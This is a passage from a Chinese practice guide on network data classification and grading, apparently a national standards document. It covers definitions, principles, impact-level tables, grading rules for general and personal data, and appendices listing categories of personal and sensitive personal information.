B 个人信息分类示例 ..................................................... 24 附录 C 部分行业数据分类分级参考示例 ......................................... 29 参考文献 .................................................................... 35 1 1 范围 本实践指南给出了网络数据分类分级的原则、框架和方法。 本实践指南适用于指导数据处理者开展数据分类分级工作,也可 为主管监管部门进行数据分类分级管理提供参考。 2 术语定义 2.1 网络数据 简称数据,是指任何以电子方式对信息的记录。 注:数据分类分级的对象通常是数据项、数据集。数据项是数据库表的某一列字段。数 据集是由多个数据项组成的集合,如数据库表、数据文件等。 2.2 重要数据 一旦遭到篡改、破坏、泄露或者非法获取、非法利用,可能危害 国家安全、公共利益的数据。 注1:重要数据不包括国家秘密。 注2:重要数据一般不包括个人信息和企业内部管理信息,但达到一定规模的个人信息 或者基于海量个人信息加工形成的衍生数据,如其一旦遭到篡改、破坏、泄露或者 非法获取、非法利用可能危害国家安全、公共利益,也应满足重要数据保护要求。 2.3 核心数据 即国家核心数据,是指关系国家安全、国民经济命脉、重要民生、 重大公共利益等的数据。 2.4 一般数据 一旦遭到篡改、破坏、泄露或者非法获取、非法利用,可能对个 人、组织合法权益造成危害,但不会危害国家安全、公共利益的数据。 2 2.5 个人信息 以电子或者其他方式记录的与已识别或者可识别的自然人有关 的各种信息,不包括匿名化处理后的信息。 2.6 公共数据 国家机关和依法经授权、受委托履行公共管理和服务职能的组织 (以下统称公共管理和服务机构),在依法履行公共管理职责或提供 公共服务过程中收集、产生的数据。 注1:公共管理和服务机构,包括各级政务机关、事业单位,其他依法经授权或受委托 管理公共事务的组织,以及供水、供电、供气、公共交通、教育、卫生健康、社 会福利、环境保护等提供公共服务的组织。 注2:本实践指南给出的公共数据是广义概念,实际使用时也存在狭义的公共数据,即 仅将提供公共服务的组织在公共服务过程中收集产生的数据作为公共数据,将政 务机关履职过程中收集产生的数据作为政务数据。 注3:公共数据通常不包括组织专有的知识产权数据和商业秘密。 2.7 公共传播信息 也称公共信息,数据处理者在提供公共服务过程中收集、产生的 具有公共传播特性的信息。 2.8 组织数据 组织在自身的业务生产、经营管理和信息系统运维过程中收集和 产生的数据。 2.9 衍生数据 原始数据经过统计、关联、挖掘或聚合等加工活动而产生的数据。 2.10 商业秘密 不为公众所知悉、具有商业价值并经权利人采取相应保密措施的 技术信息、经营信息等商业信息。 3 3 数据分类分级原则 数据分类分级按照数据分类管理、分级保护的思路,依据以下原 则进行划分: a)合法合规原则:数据分类分级应遵循有关法律法规及部门规 定要求,优先对国家或行业有专门管理要求的数据进行识别和管理, 满足相应的数据安全管理要求。 b)分类多维原则:数据分类具有多种视角和维度,可从便于数 据管理和使用角度,考虑国家、行业、组织等多个视角的数据分类。 c)分级明确原则:数据分级的目的是为了保护数据安全,数据 分级的各级别应界限明确,不同级别的数据应采取不同的保护措施。 d)就高从严原则:数据分级时采用就高不就低的原则进行定级, 例如数据集包含多个级别的数据项,按照数据项的最高级别对数据集 进行定级。 e)动态调整原则:数据的类别级别可能因时间变化、政策变化、 安全事件发生、不同业务场景的敏感性变化或相关行业规则不同而发 生改变,因此需要对数据分类分级进行定期审核并及时调整。 4 数据分类分级框架 4.1 数据分类框架 数据分类具有多种视角和维度,其主要目的是便于数据管理和使 用。本实践指南采用面分类法,从国家、行业、组织等视角给出了多 个维度的数据分类参考框架。常见的数据分类维度,包括但不限于: 4 a)公民个人维度:按照数据是否可识别自然人或与自然人关联, 将数据分为个人信息、非个人信息。 b)公共管理维度:为便于国家机关管理数据、促进数据共享开 放,将数据分为公共数据、社会数据。 注:b)给出的分类是按照广义的公共数据进行分类,如果从狭义的公共数据角度,数 据也可分为政务数据、公共数据、社会数据。 c)信息传播维度:按照数据是否具有公共传播属性,将数据分 为公共传播信息、非公共传播信息。 d)行业领域维度:按照数据处理涉及的行业领域,将数据分为 工业数据、电信数据、金融数据、交通数据、自然资源数据、卫生健 康数据、教育数据、科技数据等,其他行业领域可参考 GB/T 4754— 2017《国民经济行业分类》。 e)组织经营维度:在遵循国家和行业数据分类分级要求的基础 上,数据处理者也可按照组织经营维度,将个人或组织用户的数据单 独划分出来作为用户数据,用户数据之外的其他数据从便于业务生产 和经营管理角度进行分类。附录 A 给出了组织经营维度的数据分类 参考示例,分为用户数据、业务数据、经营管理数据、系统运行和安 全数据。 数据处理者进行数据分类时,可在遵循国家和行业数据分类要求 的基础上,采用面分类法从多个维度进行分类,对不同维度的数据类 别进行标识,每个维度的数据分类也可采用线分类法进行细分。 4.2 数据分级框架 按照《中华人民共和国数据安全法》要求,根据数据一旦遭到篡 5 改、破坏、泄露或者非法获取、非法利用,对国家安全、公共利益或 者个人、组织合法权益造成的危害程度,将数据从低到高分成一般数 据、重要数据、核心数据共三个级别。 上述三个级别是从国家数据安全角度给出的数据分级基本框架。 由于一般数据涵盖数据范围较广,采用同一安全级别保护可能无法满 足不同数据的安全需求。因此建议数据处理者优先按照基本框架进行 定级,在基本框架定级的基础上也可结合行业数据分类分级规则或组 织生产经营需求,对一般数据进行细化分级,本实践指南6.3给出了一 般数据分级的参考规则。 核心数据、重要数据的识别和划分,按照国家和行业的核心数据 目录、重要数据目录执行,目录不明确时可参考有关规定或标准,本 实践指南不对重要数据、核心数据的识别和划分进行阐释。 5 数据分类方法 5.1 数据分类流程 数据处理者进行数据分类时,应优先遵循国家、行业的数据分类 要求,如果所在行业没有行业数据分类规则,也可从组织经营维度进 行数据分类,数据分类流程如图 1 所示。 6 图 1 数据分类流程 具体数据分类步骤包括: a)识别是否存在法律法规或主管监管部门有专门管理要求的数 据类别,并对识别的数据类别进行区分标识,包括但不限于: 1) 从公共个人维度识别是否存在个人信息,个人信息识别见 5.2.1; 2) 从公共管理维度识别是否存在公共数据,公共数据识别见 5.3.1; 7 3) 从信息传播维度识别是否存在公共传播信息,公共传播信 息识别见 5.4.1。 b)从行业领域维度,确定待分类数据的数据处理活动涉及的行 业领域。 1) 如果该行业领域存在行业主管部门认可或达成行业共识 的行业数据分类规则,应按照行业数据分类规则对数据进 行分类; 2) 如果该行业领域不存在行业数据分类规则,可从组织经营 维度结合自身数据管理和使用需要对数据进行分类,参考 示例见附录 A; 3) 如果数据处理涉及多个行业领域,建议分别按照各行业的 数据分类规则对数据类别进行标识。 c)完成上述数据分类后,数据处理者可采用线分类法对类别进 一步细分,其中个人信息分类见 5.2.2 和附录B.1,公共数据分类见 5.3.2,公共传播信息分类见 5.4.2,行业领域数据分类参考示例见附录 C。 5.2 个人信息识别与分类 5.2.1 个人信息识别 通过分析特定自然人与信息之间的关系,符合下述情形之一的信 息,可判定为个人信息。 a)可识别特定自然人:即从信息到个人,依据信息本身的特殊 性可识别出特定自然人,包括单独或结合其他信息识别出特定自然人。 8 按照个人信息标识特定自然人的程度,可分为直接标识信息、准标识 信息。 直接标识信息,是指在特定环境下可单独唯一识别特定自然人的 信息。特定环境即个人信息使用的具体场景,如在一个具体的学校, 通过学号可以直接识别出一个具体的学生。常见的直接标识信息有: 姓名、公民身份号码、护照号、驾照号、详细住址、电子邮件地址、 移动电话号码、银行账户、社会保障号码、唯一设备识别码、车辆识 别码、健康卡号码、病历号码、学号、IP 地址、网络账号等。 准标识信息,是指在特定环境下无法单独唯一标识特定自然人, 但结合其他信息可以唯一标识特定自然人的信息。常见的准标识信息, 如性别、出生日期或年龄、国籍、籍贯、民族、职业、婚姻状况、受 教育水平、宗教信仰、收入状况等。 个人信息通过去标识化等处理后,如果达到无法识别特定自然人 且不能复原的匿名化效果,那么处理后的信息不再属于个人信息。 b)与特定自然人关联:即从个人到信息,如已知特定自然人, 由该特定自然人在其活动中产生的信息(如个人位置信息、个人通话 记录、网页浏览记录等),可识别为个人信息。 5.2.2 个人信息分类 按照涉及的自然人特征,个人信息可分为个人基本资料、个人身 份信息等 16 个类别,具体分类示例见附录 B.1。 a)个人基本资料:个人基本情况信息,如个人姓名、生日、年龄、 性别、民族、国籍、籍贯等。 9 b)个人身份信息:个人身份标识和证明信息,如身份证、军官 证、护照、驾驶证、工作证、出入证、社保卡等证件信息。 c)个人生物识别信息:个人生物特征识别原始信息和比对信息, 如人脸、指纹、步态、声纹、基因、虹膜等生物识别信息。 d)网络身份标识信息:网络身份标识和账户相关资料信息,如 用户账号、用户 ID、即时通信账号、头像、昵称、IP 地址等。 e)个人健康生理信息:个人医疗就诊和健康状况信息,包括病 症、住院志等个人医疗信息,和身高、体温等个人健康状况信息。 f)个人教育工作信息:个人教育培训、工作求职信息,包括学历、 学位等个人教育信息,及个人职业、工作单位等个人工作信息。 g)个人财产信息:个人实体和虚拟财产信息,包括银行卡号等 金融账户信息,交易订单等个人交易信息,收入状况、房产信息、虚 拟财产等个人资产信息,及借款信息、还款信息等个人借贷信息。 h)身份鉴别信息:用于鉴别用户身份的数据,如账户登录密码、 银行卡密码、支付密码、账户查询密码、交易密码等。 i)个人通信信息:个人通信数据和内容,如通信记录,短信、彩 信、话音、电子邮件、即时通信等通信内容等。 j)联系人信息:描述个人与关联方关系的信息,如通讯录、好友 列表、群列表、电子邮件地址列表等。 k)个人上网记录:个人在使用业务服务过程中的操作记录和行 为数据,如网页浏览记录、软件使用记录、点击记录等。 10 l)个人设备信息:个人设备标识信息和应用安装信息,不包括设 备型号、品牌、厂商、屏幕分辨率等设备基本信息。 m)个人位置信息:描述能精确或粗略定位到个人的地理位置数 据,包括精确位置信息、粗略位置信息等。 n)个人标签信息:根据个人上网日志等各类个人信息构建的, 用于对个人用户分类分析的描述信息,如兴趣爱好、App 偏好等。 o)个人运动信息:描述个人运动活动或状态的信息,如步数、 运动时长等。 p)其他个人信息:作为上述个人信息的补充,如宗教、个人违 法记录等。 5.3 公共数据识别与分类 5.3.1 公共数据识别 符合以下任一情形的数据,可识别为公共数据。 a)各级政务机关在依法履行公共管理和服务职能过程中收集和 产生的数据; b)具有公共管理和服务职能的企事业单位和社会团体,在依法 履行公共管理和服务职能过程中收集和产生的数据; c)提供公共服务的组织,在开展公共服务(如供水、供电、供热、 供气、教育、医疗、公共交通、通信、邮政、养老、环保等)过程中 收集和产生的数据; d)在为国家机关提供服务,参与公共基础设施、公共服务系统 建设运维管理,利用公共资源提供服务过程中收集、产生的数据。 11 5.3.2 公共数据分类 公共数据分类,可参考以下规则实施: a)政务数据的分类,优先按照国家或当地的电子政务信息目录 进行分类,也可参考 GB/T 21063.4—2007《政务信息资源目录体系 第 4 部分:政务信息资源分类》等相关电子政务国家标准执行; b)如存在公共数据目录,按照公共数据目录规则进行分类; c)如不存在公共数据目录,公共数据可按照主题、部门或行业 领域进行分类,也可从数据共享、开放角度进行分类。 注:公共数据从共享、开放角度,可分成无条件共享/开放数据、有条件共享/开放数据、 禁止共享/开放数据。 5.4 公共传播信息识别与分类 5.4.1 公共传播信息识别 公共传播信息可通过判断信息是否具有公共传播属性进行识别, 公共传播属性可参考以下任一原则判断: a)已合法公开的信息; b)以广泛传播为目的发布,接收者不特定; c)在传播过程中事实上被广泛传播的信息; d)即时通信服务平台的非个人通信信息,按照公共传播信息有 关规定进行管理。 5.4.2 公共传播信息分类 公共传播信息分类,从信息传播类型角度可分为以下类别: a)公开发布信息; b)可转发信息; 12 c)无明确接收人信息。 6 数据分级方法 6.1 分级要素 数据分级主要从数据安全保护的角度,考虑影响对象、影响程度 两个要素进行分级。 a)影响对象:是指数据一旦遭到篡改、破坏、泄露或者非法获 取、非法利用后受到危害影响的对象,包括国家安全、公共利益、个 人合法权益、组织合法权益四个对象。 b)影响程度:是指数据一旦遭到篡改、破坏、泄露或者非法获 取、非法利用后,所造成的危害影响大小。危害程度从低到高可分为 轻微危害、一般危害、严重危害。表 3 给出了针对各个危害对象的危 害程度描述。 表3 影响对象的影响程度描述 影响对象 影响程度 参考说明 国家安全 严重危害 1.对政治、国土、军事、经济、文化、社会、科技、网络、生态、资源、核安 全等构成严重威胁,严重影响海外利益、生物、太空、极地、深海、人工智能 等重点领域安全 2.对本地区、本部门以及相关行业、领域的重要骨干企业、关键信息基础设 施、重要资源等造成严重影响 3.导致对本地区、本部门以及相关行业、领域大范围停工停产、大面积网络与 服务瘫痪、大量业务处理能力丧失 一般危害 1.对政治、国土、军事、经济、文化、社会、科技、网络、生态、资源、核安 全等构成威胁,影响海外利益、生物、太空、极地、深海、人工智能等重点领 域安全 2.对本地区、本部门以及相关行业、领域生产、运行和经济利益等造成影响 3.引发的级联效应明显,影响范围涉及多个行业、区域或者行业内多个企业, 或者影响持续时间长,对行业发展、技术进步和产业生态等造成严重影响 13 影响对象 影响程度 参考说明 国家安全 轻微危害 1.对本地区、本部门以及相关行业、领域生产、运行和经济利益等造成轻微影 响 2.影响持续时间短,对行业发展、技术进步和产业生态等造成一般影响 无危害 对国家安全不造成影响 公共利益 严重危害 波及到一个或多个省市的大部分地区,引起社会动荡,对经济建设有极其恶劣 的负面影响 一般危害 波及到一个或多个地市的大部分地区引起社会恐慌,对经济建设有重大的负 面影响 轻微危害 波及到一个地市或地市以下的部分地区,扰乱社会秩序,对经济建设有一定的 负面影响 无危害 对公共利益不造成影响 个人合法 权益 严重危害 个人信息主体可能会遭受重大的、不可消除的、可能无法克服的影响,容易导 致自然人的人格尊严受到侵害或者人身、财产安全受到危害。如遭受无法承担 的债务、失去工作能力、导致长期的心理或生理疾病、导致死亡等 一般危害 个人信息主体可能遭受较大影响,个人信息主体克服难度高,消除影响代价较 大。如遭受诈骗、资金被盗用、被银行列入黑名单、信用评分受损、名誉受损、 造成歧视、被解雇、被法院传唤、健康状况恶化等 轻微危害 个人信息主体可能会遭受困扰,但尚可以克服。如付出额外成本、无法使用应 提供的服务、造成误解、产生害怕和紧张的情绪、导致较小的生理疾病等 无危害 对个人信息合法权益不造成影响,或仅造成微弱影响但可忽略不计 组织合法 权益 严重危害 可能导致组织遭到监管部门严重处罚(包括取消经营资格、长期暂停相关业务 等),或者影响重要/关键业务无法正常开展的情况,造成重大经济或技术损 失,严重破坏机构声誉,企业面临破产 一般危害 可能导致组织遭到监管部门处罚(包括一段时间内暂停经营资格或业务等), 或者影响部分业务无法正常开展的情况,造成较大经济或技术损失,破坏机构 声誉 轻微危害 可能导致个别诉讼事件,或在某一时间造成部分业务中断,使组织的经济利 益、声誉、技术等轻微受损 无危害 对组织合法权益不造成影响,或仅造成微弱影响但不会影响国家安全、公共利 益、市场秩序或各项业务的正常开展 14 6.2 基本分级规则 本实践指南 4.2 的数据分级框架给出了数据分级基本框架,将数 据从低到高分成一般数据、重要数据、核心数据三个级别。各级别与 影响对象、影响程度的对应关系如表 4 所示。 表4 数据安全基本分级规则 基本级别 影响对象 国家安全 公共利益 个人合法权益 组织合法权益 核心数据 一般危害、严重 危害 严重危害 — — 重要数据 轻微危害 一般危害、轻微 危害 — — 一般数据 无危害 无危害 无危害、轻微危 害、一般危害、 严重危害 无危害、轻微危 害、一般危害、 严重危害 6.3 一般数据分级规则 按照数据一旦遭到篡改、破坏、泄露或者非法获取、非法利用, 对个人、组织合法权益造成的危害程度,将一般数据从低到高分为 1 级、2 级、3 级、4 级共四个级别,具体分级规则见表 5: a)1 级数据:数据一旦遭到篡改、破坏、泄露或者非法获取、非 法利用,不会对个人合法权益、组织合法权益造成危害。1 级数据具 有公共传播属性,可对外公开发布、转发传播,但也需考虑公开的数 据量及类别,避免由于类别较多或者数量过大被用于关联分析。 b)2 级数据:数据一旦遭到篡改、破坏、泄露或者非法获取、非 法利用,可能对个人合法权益、组织合法权益造成轻微危害。2 级数 据通常在组织内部、关联方共享和使用,相关方授权后可向组织外部 共享。 15 c)3 级数据:数据一旦遭到篡改、破坏、泄露或者非法获取、非 法利用,可能对个人合法权益、组织合法权益造成一般危害。3 级数 据仅能由授权的内部机构或人员访问,如果要将数据共享到外部,需 要满足相关条件并获得相关方的授权。 d)4 级数据:数据一旦遭到篡改、破坏、泄露或者非法获取、非 法利用,可能对个人合法权益、组织合法权益造成严重危害,但不会 危害国家安全或公共利益。4 级数据按照批准的授权列表严格管理, 仅能在受控范围内经过严格审批、评估后才可共享或传播。 表5 一般数据分级规则 安全级别 影响对象 个人合法权益 组织合法权益 4 级数据 严重危害 严重危害 3 级数据 一般危害 一般危害 2 级数据 轻微危害 轻微危害 1 级数据 无危害 无危害 6.4 定级方法 6.4.1 定级流程 数据处理者按照基本分级框架(见4.2、6.2)和一般数据分级规 则(见6.3)对数据进行定级时,可参考如图2所示流程实施。 数据定级的具体步骤包括: a)按照国家和行业领域的核心数据目录、重要数据目录,依次 判定是否核心数据、重要数据,如是则按照就高从严原则定为核心数 据级、重要数据级,其他数据定为一般数据; b)国家和行业核心数据、重要数据目录不明确时,可参考核心 数据、重要数据认定的规定或标准,分析数据一旦遭到篡改、破坏、 16 泄露或者非法获取、非法利用的危害对象和危害程度,参照 6.2 的表 4 进行基本定级,确定核心数据、重要数据和一般数据级别; c)按照 6.3 一般数据分级规则或者所属行业共识的数据分级规 则对一般数据进行定级,确定一般数据细分级别。部分行业领域与本 实践指南的分级对应关系如附录 B.4 所示。 d)如果数据属于个人信息,应识别敏感个人信息、一般个人信 息,按照 6.4.2 对个人信息进行定级。 图2 数据定级流程 以上定级方法主要针对数据项,如针对数据集定级,建议在确定 数据集中数据项级别的基础上,按照就高从严原则确定数据集的级别。 17 6.4.2 个人信息定级 根据《中华人民共和国个人信息保护法》要求,按照个人信息一 旦泄露或者非法使用,对个人合法权益造成的危害程度,个人信息可 分为一般个人信息、敏感个人信息。一般个人信息是指一旦泄露或者 非法使用,对自然人个人信息权益造成轻微或一般影响,不易导致自 然人的人格尊严、人身安全、财产安全受到侵害,例如网络身份标识 信息。敏感个人信息是指一旦泄露或者非法使用,容易导致自然人的 人格尊严受到侵害或者人身、财产安全受到危害的个人信息,包括生 物识别、宗教信仰、特定身份、医疗健康、金融账户、行踪轨迹等信 息,以及不满十四周岁未成年人的个人信息。附录 B.2 给出了可能属 于敏感个人信息的参考示例。 个人信息定级,可优先判定是否属于敏感个人信息,如果属于敏 感个人信息,则定为一般数据 4 级。如果属于一般个人信息,则按照 一般数据分级规则,分析影响程度确定属于哪个级别。 其中,敏感个人信息判定,可通过分析个人信息遭到泄露或者非 法利用对个人信息主体权益可能造成的影响,符合以下任一影响的可 判定为敏感个人信息: a)个人信息遭到泄露或者非法使用,可能直接侵害个人信息主 体的人格尊严。例如,特定身份、医疗健康、犯罪记录等信息属于一 旦泄露即侵害人格尊严的敏感个人信息。 b)个人信息遭到泄露或者非法使用,不会直接侵害个人信息主 体的人格尊严,但可能由于社会偏见、歧视性待遇而间接侵害个人信 18 息主体的人格尊严。例如因个人种族、宗教信仰、性取向遭到歧视性 待遇。 c)个人信息遭到泄露或者非法使用,可能直接或间接危害个人 信息主体的人身、财产安全。例如,泄露、非法使用家庭住址、家属 关系等家庭相关信息,可能会为入室抢劫或绑架等犯罪所利用;个人 信息主体的身份证复印件被他人用于手机号卡实名登记、银行账户开 户办卡等。 6.4.2 最低参考级别 特定类型一般数据的最低参考级别如下: a) 敏感个人信息不低于 4 级,一般个人信息不低于 2 级; b) 组织内部员工个人信息不低于 2 级; c) 有条件开放/共享的公共数据级别不低于 2 级,禁止开放/共享 的公共数据不低于 4 级。 6.4.3 衍生数据定级 按照数据加工程度不同,数据通常可分为原始数据、脱敏数据、 标签数据、统计数据、融合数据,其中脱敏数据、标签数据、统计数 据、融合数据均属于衍生数据。数据加工程度维度数据分类见表 6。 表 6 数据加工程度维度的数据分类 数据类别 类别定义 数据示例 原始数据 是指数据的原本形式和内容,未作任何 加工处理。 如采集的原始数据等 脱敏数据 对数据(如个人信息)按照脱敏规则进行 数据变形处理后的新数据。 如 去 标 识 化 的 手 机 号 码 ( 如 138*******6)等,个人信息去标识化、 匿名化处理后的数据属于脱敏数据 19 数据类别 类别定义 数据示例 标签数据 对用户个人敏感属性等数据进行区间 化、分级化、统计分析后形成的非精确的 模糊化标签数据。 偏好标签、关系标签等 统计数据 即群体性综合性数据,是由多个用户个 人或实体对象的数据进行统计或分析后 形成的数据 如群体用户位置轨迹统计信息、群体 统计指数、交易统计数据、统计分析报 表、分析报告方案等。 融合数据 对不同业务目的或地域的数据汇聚,进 行挖掘或聚合 如多个业务、多个地市的数据整合、汇 聚等 原始数据可按照上文介绍的方法进行定级,衍生数据级别原则上 依据就高从严原则,对照加工的原始数据集级别进行定级,同时按照 数据加工程度也可进行升级或降级调整。 a)脱敏数据级别可比原始数据集级别降低,去标识化的个人信 息不低于 2 级,匿名化个人信息不低于 1 级。 b)标签数据级别可比原始数据集级别降低,个人标签信息不低 于 2 级。 c)统计数据如涉及大规模群体特征或行动轨迹,应设置比原始 数据集级别更高的级别。 d)融合数据级别要考虑数据汇聚融合结果,如果结果数据汇聚 了更多的原始数据或挖掘出更敏感的数据,级别需要升高,但如果结 果数据降低了标识化程度等,级别可以降低。 6.5 重新定级 6.5.1 重新定级情形 数据安全定级完成后,出现下列情形之一时,应重新定级: a) 数据内容发生变化,导致原有数据的安全级别不再适用; 20 b) 数据内容未发生变化,但数据时效性、数据规模、数据应用场 景、数据加工处理方式等发生变化; c) 多个原始数据直接合并,导致原有的安全级别不再适用合并后 的数据; d) 因对不同数据选取部分数据进行合并形成的新数据,导致原有 数据的安全级别不再适用合并后的数据; e) 不同数据类型经汇聚融合形成新的数据类别,导致原有的数据 级别不再适用于汇聚融合后的数据; f) 因国家或行业主管部门要求,导致原定的数据级别不再适用; g) 需要对数据安全级别进行变更的其他情形。 6.5.2 数据变化的定级参考 数据发生变化导致安全级别变化的规则(见表 7),包括但不限 于: 表 7 数据安全级别变化示例 措施或情形 安全级别变化 数据体量增加到特定规模导致社会重大影响 升级 达到国家有关部门规定精度的数据 升级 关联多个业务部门数据 升级 大量多维数据进行关联 升级 发生特定事件导致数据敏感性增强 升级 数据已被公开或披露 降级 数据进行脱敏或删除关键字段 降级 数据进行去标识化、假名化、匿名化 降级 数据发生特定事件导致数据失去敏感性 降级 注:处理100万人以上个人信息的数据处理者,按照重要数据处理者进行管理,应满足 重要数据保护要求。 21 7 数据分类分级实施流程 数据处理者在开展数据分类分级时,可按照图 3 所示流程实施, 具体步骤包括: 数据资产梳理 • ·结构化数据资产梳理 • ·非结构化数据资产梳理 • 资产基本信息和相关方 识别 • 形成数据资产清单 数据分类 • ·公民个人维度数据分类 • ·公共管理维度数据分类 • ·信息传播维度数据分类 • 行业领域维度数据分类 • 组织经营维度数据分类 数据定级 • ·识别国家核心数据 • 识别重要数据 • 一般数据定级 • 个人信息定级 数据分类分级保护 • 数据分类分级保护策略 • 核心数据严格管理 • 重要数据重点保护 • 个人信息安全合规 • 一般数据全流程分级保 护 审核标识管理 • ·分类分级评审 • 批准发布实施 • ·数据分类分级标识 • 维护管理更新 • ·数据资产分类分级清单 数 据 资 产 发 生 变 化 / 评 审 不 通 过 图 3 数据分类分级实施流程 a)数据资产梳理:对组织的数据资产进行全面梳理,包括以物 22 理或电子形式记录的数据库表、数据项、数据文件等结构化和非结构 化数据资产,明确数据资产基本信息和相关方,形成数据资产清单。 b)数据分类:参考 4.1 和第 5 章从多个维度,建立自身的数据 分类规则,参考 5.1 的数据分类流程对数据进行分类。 c)数据分级:参考 4.2 和第 6 章建立自身的数据分级规则,按照 6.4 对数据进行定级。 d)审核标识管理:对数据资产分类分级结果进行评审和完善, 最后批准发布实施,形成数据资产分类分级清单。并对数据资产和数 据分类分级进行维护、管理和定期审核。重新定级情形可参考 6.5。 e)数据分类分级保护:依据国家给出的关于核心数据、重要数 据、个人信息、公共数据等安全要求,以及行业领域给出的数据分类 分级保护要求,建立数据分类分级保护策略,按照核心数据严格管理、 重要数据重点保护、个人信息安全合规和一般数据分级保护的思路, 对数据实施全流程分类分级管理和保护。 23 附录 A 组织经营维度数据分类参考示例 表 A.1 按照组织经营维度,将组织数据分为用户数据、业务数据、 经营管理数据、系统运行和安全数据。 表A.1 组织经营维度的数据分类参考示例 数据类别 类别定义 示例 用户数据 组织在开展业务服务过程中从个人用 户或组织用户收集的数据,以及在业务 服务过程中产生的归属于用户的数据 如个人用户信息(即个人信息)、组织 用户信息(如组织基本信息、组织账号 信息、组织信用信息等) 业务数据 组织在业务生产过程中收集和产生的 非用户类数据 参考业务所属的行业数据分类分级,结 合自身业务特点进行细分,如产品数 据、合同协议等 经营管理数 据 组织在机构经营管理过程中收集和产 生的数据 如经营战略、财务数据、并购及融资信 息等 系统运行和 安全数据 网络和信息系统运维及网络安全数据 如网络和信息系统的配置数据、网络安 全监测数据、备份数据、日志数据、安 全漏洞信息等 24 附录 B 个人信息分类示例 B.1 个人信息分类示例 表 B.1 给出了个人信息的一级类别、二级类别和相关数据示例。 表B.1 个人信息分类参考示例 一级类别 二级类别 典型示例和说明 个人基本资料 个人基本资料 自然人基本情况信息,如个人姓名、生日、年龄、性 别、民族、国籍、籍贯、婚姻状况、家庭关系、住址、 个人电话号码、电子邮件地址、兴趣爱好等 个人身份信息 个人身份信息 可直接标识自然人身份的信息,如身份证、军官证、 护照、驾驶证、工作证、出入证、社保卡、居住证、 港澳台通行证等证件号码、证件有效期、证件照片 或影印件等 个人生物识别 信息 个人生物识别信 息 生物识别原始信息(如样本、图像等)和比对信息 (如特征值、模板等),如人脸、指纹、步态、声纹、 基因、虹膜、笔迹、掌纹、耳廓、眼纹等 网络身份标识 信息 网络身份标识信 息 可直接标识网络或通信用户身份的信息及账户相关 资料信息(金融账户除外),如用户账号、用户 ID、 即时通信账号、网络社交用户账号、用户头像、昵 称、个性签名、IP 地址、账户开立时间等 个人健康生理 信息 健康状况信息 与个人身体健康状况相关的一般信息,如体重、身 高、体温、肺活量、血压、血型等 个人医疗信息 个人因生病医治等产生的相关记录,如病症、住院 志、医嘱单、检验报告、体检报告、手术及麻醉记 录、护理记录、用药记录、药物食物过敏信息、生育 信息、以往病史、诊治情况、家族病史、现病史、传 染病史、吸烟史等 个人教育工作 信息 个人教育信息 个人受教育和培训情况相关信息,如学历、学位、教 育经历(如入学日期、毕业日期、学校、院系、专业 等)、成绩单、资质证书、培训记录等 个人工作信息 个人求职和工作情况相关信息,如个人职业、职位、 职称、工作单位、工作地点、工作经历、工资、工作 表现、简历等 25 一级类别 二级类别 典型示例和说明 个人财产信息 金融账户信息 金融账户及账户相关信息,如银行卡号、支付账号、 银行卡磁道数据(或芯片等效信息)、银行卡有效 期、证券账户、基金账户、保险账户、公积金账户、 公积金联名账号、账户开立时间、开户机构、账户余 额、支付标记信息等 个人交易信息 交易过程中产生的交易信息和消费记录,如交易订 单、交易金额、支付记录、透支记录、交易状态、交 易日志、交易凭证、账单,证券委托、成交、持仓信 息,保单信息、理赔信息等 个人资产信息 个人实体和虚拟财产信息,如个人收入状况、房产 信息、存款信息、车辆信息、纳税额、公积金缴存明 细(含余额、基数、缴纳公司、公积金中心、状态 等)、银行流水、虚拟财产(虚拟货币、虚拟交易、 游戏类兑换码等)、个人社保与医保存缴金额等。 个人借贷信息 个人在借贷过程中产生的信息,如个人借款信息、 还款信息、欠款信息、信贷记录、征信信息、担保情 况等 身份鉴别信息 身份鉴别信息 用于身份鉴别的数据,如账户登录密码、银行卡密 码、支付密码、账户查询密码、交易密码、银行卡有 效期、银行卡片验证码(CVN 和 CVN2)、USBKEY、 动态口令、U 盾(网银、手机银行密保工具信息)、 短信验证码、密码提示问题答案、手机客服密码、个 人数字证书、随机令牌等 个人通信信息 个人通信信息 通信记录,短信、彩信、话音、电子邮件、即时通信 等通信内容(如文字、图片、音频、视频、文件等), 及描述个人通信的元数据(如通话时长)等 联系人信息 联系人信息 描述个人与关联方关系的信息,如通讯录、好友列 表、群列表、电子邮件地址列表、家庭关系、工作关 系、社交关系等 个人上网记录 个人操作记录 个人在业务服务过程中的操作记录和行为数据,包 括网页浏览记录、软件使用记录、点击记录、Cookie、 发布的社交信息、点击记录、收藏列表、搜索记录、 26 注:个人画像,是由多个用户个人标签组成的数据集。 一级类别 二级类别 典型示例和说明 服务使用时间、下载记录、访问时间(含登录时间、 退出时间)等 业务行为数据 用户使用某业务的行为记录(如游戏业务:用户游 戏登录时间、最近充值时间、累计充值额度、用户通 关记录)等 个人设备信息 可变更的唯一设 备识别码 Android ID、IDFA、IDFV、OAID 等 不可变更的唯一 设备识别码 IMEI、IMSI、MEID、设备 MAC 地址、硬件序列号、 ICCID 等 应用软件列表 终端上安装的应用程序列表,如每款应用软件的名 称、版本等 个人位置信息 粗略位置信息 仅能定位到行政区、县级等的位置信息,如地区代 码、城市代码等 精确位置信息 能具体定位到个人的地理位置数据,包括行踪轨迹、 经纬度、住宿信息、小区代码、基站号、基站经纬度 坐标等 个人标签信息 个人标签信息 基于个人上网记录等各类个人信息加工产生的用于 对个人用户分类分析的描述信息,如 App 偏好、关 系标签、终端偏好、内容偏好等标签信息 个人运动信息 个人运动信息 步数、步频、运动时长、运动距离、运动方式、运动 心率等 其他个人信息 其他个人信息 性取向、婚史、宗教信仰、未公开的违法犯罪记录等 27 B.2 敏感个人信息分类示例 表B.2给出了可能构成敏感个人信息的示例。 表B.2 敏感个人信息参考示例 类别 典型示例和说明 特定身份 身份证、军官证、护照、驾驶证、工作证、出入证、社保卡、居住证、 港澳台通行证等 生物识别信息 个人基因、指纹、声纹、掌纹、眼纹、耳廓、虹膜、面部识别特征、 步态等 金融账户 金融账户及金融账户相关信息,包括但不限于支付账号、银行卡磁道 数据(或芯片等效信息)、证券账户、基金账户、保险账户、其他财 富账户、公积金账户、公积金联名账号、账户开立时间、开户机构、 账户余额以及基于上述信息产生的支付标记信息等 医疗健康 个人因生病医治等产生的相关记录,如病症、住院志、医嘱单、检验 报告、手术及麻醉记录、护理记录、用药记录、药物食物过敏信息、 生育信息、以往病史、诊治情况、家族病史、现病史、传染病史等 行踪轨迹 基于实时地理位置形成的个人行踪和行程信息,例如实时精准定位信 息、GPS 车辆轨迹信息、出入境记录、住宿信息(定位到街道、小区 甚至更精确位置的数据)等 